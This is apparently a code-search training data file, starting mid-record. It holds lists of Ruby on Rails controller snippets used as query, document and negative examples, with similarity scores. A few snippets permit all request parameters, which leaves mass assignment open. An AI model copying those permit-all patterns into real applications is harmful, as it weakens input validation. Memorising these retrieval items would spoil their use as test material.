}\n format.json { head :no_content }\n end\n end", "def destroy\n @mostsmallroad = Mostsmallroad.find(params[:id])\n @mostsmallroad.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallroads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ways_of_admission = WaysOfAdmission.find(params[:id])\n @ways_of_admission.destroy\n\n respond_to do |format|\n format.html { redirect_to ways_of_admissions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ai_contest = AiContest.find(params[:id])\n @ai_contest.destroy\n\n respond_to do |format|\n format.html { redirect_to ai_contests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @caloric_intake.destroy\n respond_to do |format|\n format.html { redirect_to caloric_intakes_url, notice: 'Caloric intake was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @discipleship_class.destroy\n respond_to do |format|\n format.html { redirect_to discipleship_classes_url, notice: 'Discipleship class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @climate = Climate.find(params[:id])\n @climate.destroy\n\n respond_to do |format|\n format.html { redirect_to climates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @guideline.destroy\n respond_to do |format|\n format.html { redirect_to guidelines_url, notice: 'Guideline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @mostsmallmission = Mostsmallmission.find(params[:id])\n @mostsmallmission.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallmissions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @study_course = StudyCourse.find(params[:id])\n @study_course.destroy\n\n respond_to do |format|\n format.html { redirect_to study_courses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @requisition = Requisition.find(params[:id])\n @requisition.destroy\n\n respond_to do |format|\n format.html { redirect_to requisitions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @guideline.destroy\n respond_to do |format|\n format.html { redirect_to guidelines_url, notice: \"Guideline was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @cict.destroy\n respond_to do |format|\n format.html { redirect_to cicts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @occasion = Occasion.find(params[:id])\n @occasion.destroy\n\n respond_to do |format|\n format.html { redirect_to occasions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @daily_exercise = DailyExercise.find(params[:id])\n @daily_exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to daily_exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t@line_item.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to line_items_url, notice: \"Req ID: #{@line_item.id} removed.\" }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "def destroy\n @exercise_plan = ExercisePlan.find(params[:id])\n @exercise_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @crowd = Crowd.find(params[:id])\n @crowd.destroy\n\n respond_to do |format|\n format.html { redirect_to crowds_url }\n format.json { head :no_content }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @club_path = ClubPath.find(params[:id])\n @club_path.destroy\n\n respond_to do |format|\n format.html { redirect_to club_paths_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @notadisciplinare.destroy\n respond_to do |format|\n format.html { redirect_to notedisciplinari_url, notice: 'Notadisciplinare was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @discipline_class_exam_type = DisciplineClassExamType.find(params[:id])\n @discipline_class_exam_type.destroy\n\n respond_to do |format|\n format.html { redirect_to discipline_class_exam_types_url, :notice => 'Tipo de Exame de Classe de Disciplina excluída com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @lineitem.destroy\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mystic.destroy\n respond_to do |format|\n format.html { redirect_to mystics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reqdifficulty.destroy\n respond_to do |format|\n format.html { redirect_to reqdifficulties_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mission.destroy\n respond_to do |format|\n format.html { redirect_to admin_missions_url, notice: 'Mission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @my_exam = MyExam.find(params[:id])\n @my_exam.destroy\n\n respond_to do |format|\n format.html { redirect_to my_exams_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @discipline_section.destroy\n respond_to do |format|\n #format.html { redirect_to discipline_sections_url, notice: 'Раздел дисциплины был успешно удален' }\n #format.json { head :no_content }\n format.js { render ('discipline_sections/delete')}\n end\n end" ]
[ "0.7327468", "0.72913164", "0.7197245", "0.70610714", "0.7055863", "0.7003196", "0.6911375", "0.69047564", "0.6863932", "0.6808991", "0.6802402", "0.6741909", "0.66570747", "0.6641207", "0.6636415", "0.6610322", "0.6560786", "0.6549286", "0.64375323", "0.6431985", "0.64283997", "0.64010596", "0.6393762", "0.6382417", "0.6379875", "0.63533294", "0.63520116", "0.632875", "0.63083196", "0.6303551", "0.62840384", "0.62822545", "0.62750405", "0.6271047", "0.6268017", "0.62633896", "0.62593454", "0.62579644", "0.6255699", "0.6252863", "0.6237834", "0.6236429", "0.62324846", "0.6221115", "0.6220202", "0.6214044", "0.6203034", "0.61905134", "0.61897683", "0.6188938", "0.61844134", "0.6172263", "0.6170429", "0.6164442", "0.61624134", "0.61576426", "0.6148067", "0.61436635", "0.6133598", "0.6131439", "0.6131439", "0.6125209", "0.61088336", "0.6105449", "0.6104209", "0.6101533", "0.6097795", "0.6097783", "0.6093912", "0.6093847", "0.60906327", "0.6088568", "0.6086929", "0.60791844", "0.6078512", "0.60762703", "0.60752904", "0.607054", "0.6066397", "0.60606384", "0.60588056", "0.6058568", "0.6057084", "0.6055316", "0.6054554", "0.6054227", "0.605318", "0.60519636", "0.60514617", "0.6051264", "0.60499096", "0.6049817", "0.6041909", "0.6041437", "0.6036436", "0.6033048", "0.6030712", "0.6024787", "0.6024147", "0.60222256" ]
0.66695124
12
Use callbacks to share common setup or constraints between actions.
def set_discipline @discipline = Discipline.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def discipline_params params.require(:discipline).permit(:nome, :cargahoraria, :Course_id, :users_id, :anexos, :disciplineMat, :senha) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
